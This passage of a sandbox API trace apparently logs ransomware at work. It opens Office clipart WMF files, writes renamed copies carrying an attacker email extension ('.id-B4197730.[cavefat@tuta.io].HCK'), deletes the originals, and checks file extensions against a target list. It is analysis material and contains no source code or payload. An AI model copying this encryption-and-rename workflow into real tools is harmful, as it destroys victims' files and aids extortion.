dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0178.643] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=20098) returned 1 [0178.643] CloseHandle (hObject=0x300) returned 1 [0178.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01468_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01468_.wmf")) returned 0x220 [0178.645] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01468_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01468_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01468_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01468_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0178.649] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.649] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01468_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01468_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0178.668] GetLastError () returned 0x0 [0178.668] ReadFile (in: hFile=0x2fc, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x4e82, lpOverlapped=0x0) returned 1 [0178.672] WriteFile (in: hFile=0x3a4, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x4e90, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x4e90, lpOverlapped=0x0) returned 1 [0178.672] ReadFile (in: hFile=0x2fc, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.672] WriteFile (in: hFile=0x3a4, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.673] SetEndOfFile (hFile=0x3a4) returned 1 [0178.676] CloseHandle (hObject=0x3a4) returned 1 [0178.680] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.680] SetEndOfFile (hFile=0x2fc) returned 1 [0178.681] CloseHandle (hObject=0x2fc) returned 1 [0178.682] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01468_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.682] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01468_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01468_.wmf")) returned 1 [0178.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01468_.WMF") returned 68 [0178.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01468_.WMF") returned 68 [0178.683] lstrlenW (lpString=".doc") returned 4 [0178.683] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.683] lstrlenW (lpString=".docx") returned 5 [0178.683] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.683] lstrlenW (lpString=".pdf") returned 4 [0178.683] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.683] lstrlenW (lpString=".xls") returned 4 [0178.683] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.683] lstrlenW (lpString=".xlsx") returned 5 [0178.683] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.683] lstrlenW (lpString=".ppt") returned 4 [0178.683] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01468_.WMF") returned 68 [0178.683] lstrlenW (lpString=".zip") returned 4 [0178.683] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.683] lstrlenW (lpString=".rar") returned 4 [0178.683] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.683] lstrlenW (lpString=".bz2") returned 4 [0178.683] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.683] lstrlenW (lpString=".7z") returned 3 [0178.683] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01468_.WMF") returned 68 [0178.683] lstrlenW (lpString=".dbf") returned 4 [0178.683] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01468_.WMF") returned 68 [0178.684] lstrlenW (lpString=".1cd") returned 4 [0178.684] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01468_.WMF") returned 68 [0178.684] lstrlenW (lpString=".jpg") returned 4 [0178.684] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01468_.WMF") returned 68 [0178.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01468_.WMF") returned 68 [0178.684] lstrlenW (lpString=".doc") returned 4 [0178.684] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.684] lstrlenW (lpString=".docx") returned 5 [0178.684] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.684] lstrlenW (lpString=".pdf") returned 4 [0178.684] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.684] lstrlenW (lpString=".xls") returned 4 [0178.684] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.684] lstrlenW (lpString=".xlsx") returned 5 [0178.684] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.684] lstrlenW (lpString=".ppt") returned 4 [0178.684] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01468_.WMF") returned 68 [0178.684] lstrlenW (lpString=".zip") returned 4 [0178.684] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.684] lstrlenW (lpString=".rar") returned 4 [0178.684] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.684] lstrlenW (lpString=".bz2") returned 4 [0178.684] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.684] lstrlenW (lpString=".7z") returned 3 [0178.684] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01468_.WMF") returned 68 [0178.684] lstrlenW (lpString=".dbf") returned 4 [0178.684] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01468_.WMF") returned 68 [0178.684] lstrlenW (lpString=".1cd") returned 4 [0178.684] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01468_.WMF") returned 68 [0178.684] lstrlenW (lpString=".jpg") returned 4 [0178.684] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.684] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.684] lstrlenW (lpString="NA01474_.WMF") returned 12 [0178.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01474_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01474_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0178.685] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=13468) returned 1 [0178.685] CloseHandle (hObject=0x368) returned 1 [0178.685] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01474_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01474_.wmf")) returned 0x220 [0178.687] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01474_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01474_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01474_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01474_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0178.691] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.691] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01474_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01474_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0178.695] GetLastError () returned 0x0 [0178.695] ReadFile (in: hFile=0x3a4, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x349c, lpOverlapped=0x0) returned 1 [0178.698] WriteFile (in: hFile=0x300, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x34a0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x34a0, lpOverlapped=0x0) returned 1 [0178.699] ReadFile (in: hFile=0x3a4, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.699] WriteFile (in: hFile=0x300, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.700] SetEndOfFile (hFile=0x300) returned 1 [0178.702] CloseHandle (hObject=0x300) returned 1 [0178.704] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.704] SetEndOfFile (hFile=0x3a4) returned 1 [0178.705] CloseHandle (hObject=0x3a4) returned 1 [0178.706] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01474_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.706] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01474_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01474_.wmf")) returned 1 [0178.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01474_.WMF") returned 68 [0178.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01474_.WMF") returned 68 [0178.707] lstrlenW (lpString=".doc") returned 4 [0178.707] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.707] lstrlenW (lpString=".docx") returned 5 [0178.707] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.707] lstrlenW (lpString=".pdf") returned 4 [0178.707] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.707] lstrlenW (lpString=".xls") returned 4 [0178.707] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.707] lstrlenW (lpString=".xlsx") returned 5 [0178.707] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.707] lstrlenW (lpString=".ppt") returned 4 [0178.707] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01474_.WMF") returned 68 [0178.707] lstrlenW (lpString=".zip") returned 4 [0178.707] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.708] lstrlenW (lpString=".rar") returned 4 [0178.708] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.708] lstrlenW (lpString=".bz2") returned 4 [0178.708] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.708] lstrlenW (lpString=".7z") returned 3 [0178.708] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01474_.WMF") returned 68 [0178.708] lstrlenW (lpString=".dbf") returned 4 [0178.708] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01474_.WMF") returned 68 [0178.708] lstrlenW (lpString=".1cd") returned 4 [0178.708] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01474_.WMF") returned 68 [0178.708] lstrlenW (lpString=".jpg") returned 4 [0178.708] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01474_.WMF") returned 68 [0178.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01474_.WMF") returned 68 [0178.708] lstrlenW (lpString=".doc") returned 4 [0178.708] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.708] lstrlenW (lpString=".docx") returned 5 [0178.708] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.708] lstrlenW (lpString=".pdf") returned 4 [0178.708] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.708] lstrlenW (lpString=".xls") returned 4 [0178.708] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.708] lstrlenW (lpString=".xlsx") returned 5 [0178.708] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.708] lstrlenW (lpString=".ppt") returned 4 [0178.708] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01474_.WMF") returned 68 [0178.708] lstrlenW (lpString=".zip") returned 4 [0178.708] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.708] lstrlenW (lpString=".rar") returned 4 [0178.708] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.708] lstrlenW (lpString=".bz2") returned 4 [0178.708] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.708] lstrlenW (lpString=".7z") returned 3 [0178.708] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01474_.WMF") returned 68 [0178.708] lstrlenW (lpString=".dbf") returned 4 [0178.708] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01474_.WMF") returned 68 [0178.708] lstrlenW (lpString=".1cd") returned 4 [0178.708] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01474_.WMF") returned 68 [0178.708] lstrlenW (lpString=".jpg") returned 4 [0178.708] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.708] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.709] lstrlenW (lpString="NA01701_.WMF") returned 12 [0178.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01701_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01701_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0178.709] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=5316) returned 1 [0178.709] CloseHandle (hObject=0x300) returned 1 [0178.709] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01701_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01701_.wmf")) returned 0x220 [0178.710] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01701_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01701_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01701_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01701_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0178.717] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.717] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01701_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01701_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0178.721] GetLastError () returned 0x0 [0178.721] ReadFile (in: hFile=0x2fc, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x14c4, lpOverlapped=0x0) returned 1 [0178.722] WriteFile (in: hFile=0x300, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x14d0, lpOverlapped=0x0) returned 1 [0178.722] ReadFile (in: hFile=0x2fc, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.723] WriteFile (in: hFile=0x300, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.723] SetEndOfFile (hFile=0x300) returned 1 [0178.725] CloseHandle (hObject=0x300) returned 1 [0178.726] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.726] SetEndOfFile (hFile=0x2fc) returned 1 [0178.727] CloseHandle (hObject=0x2fc) returned 1 [0178.728] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01701_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.728] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01701_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01701_.wmf")) returned 1 [0178.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01701_.WMF") returned 68 [0178.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01701_.WMF") returned 68 [0178.730] lstrlenW (lpString=".doc") returned 4 [0178.730] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.730] lstrlenW (lpString=".docx") returned 5 [0178.730] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.730] lstrlenW (lpString=".pdf") returned 4 [0178.730] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.730] lstrlenW (lpString=".xls") returned 4 [0178.730] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.730] lstrlenW (lpString=".xlsx") returned 5 [0178.730] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.730] lstrlenW (lpString=".ppt") returned 4 [0178.730] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01701_.WMF") returned 68 [0178.730] lstrlenW (lpString=".zip") returned 4 [0178.730] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.730] lstrlenW (lpString=".rar") returned 4 [0178.730] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.730] lstrlenW (lpString=".bz2") returned 4 [0178.730] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.730] lstrlenW (lpString=".7z") returned 3 [0178.730] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01701_.WMF") returned 68 [0178.730] lstrlenW (lpString=".dbf") returned 4 [0178.730] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01701_.WMF") returned 68 [0178.730] lstrlenW (lpString=".1cd") returned 4 [0178.730] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01701_.WMF") returned 68 [0178.730] lstrlenW (lpString=".jpg") returned 4 [0178.730] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01701_.WMF") returned 68 [0178.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01701_.WMF") returned 68 [0178.731] lstrlenW (lpString=".doc") returned 4 [0178.731] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.731] lstrlenW (lpString=".docx") returned 5 [0178.731] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.731] lstrlenW (lpString=".pdf") returned 4 [0178.731] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.731] lstrlenW (lpString=".xls") returned 4 [0178.731] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.731] lstrlenW (lpString=".xlsx") returned 5 [0178.731] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.731] lstrlenW (lpString=".ppt") returned 4 [0178.731] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01701_.WMF") returned 68 [0178.731] lstrlenW (lpString=".zip") returned 4 [0178.731] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.731] lstrlenW (lpString=".rar") returned 4 [0178.731] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.731] lstrlenW (lpString=".bz2") returned 4 [0178.731] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.731] lstrlenW (lpString=".7z") returned 3 [0178.731] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01701_.WMF") returned 68 [0178.731] lstrlenW (lpString=".dbf") returned 4 [0178.731] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01701_.WMF") returned 68 [0178.731] lstrlenW (lpString=".1cd") returned 4 [0178.731] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01701_.WMF") returned 68 [0178.731] lstrlenW (lpString=".jpg") returned 4 [0178.731] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.731] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.731] lstrlenW (lpString="NA01858_.WMF") returned 12 [0178.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01858_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01858_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0178.733] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=4296) returned 1 [0178.733] CloseHandle (hObject=0x300) returned 1 [0178.733] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01858_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01858_.wmf")) returned 0x220 [0178.737] 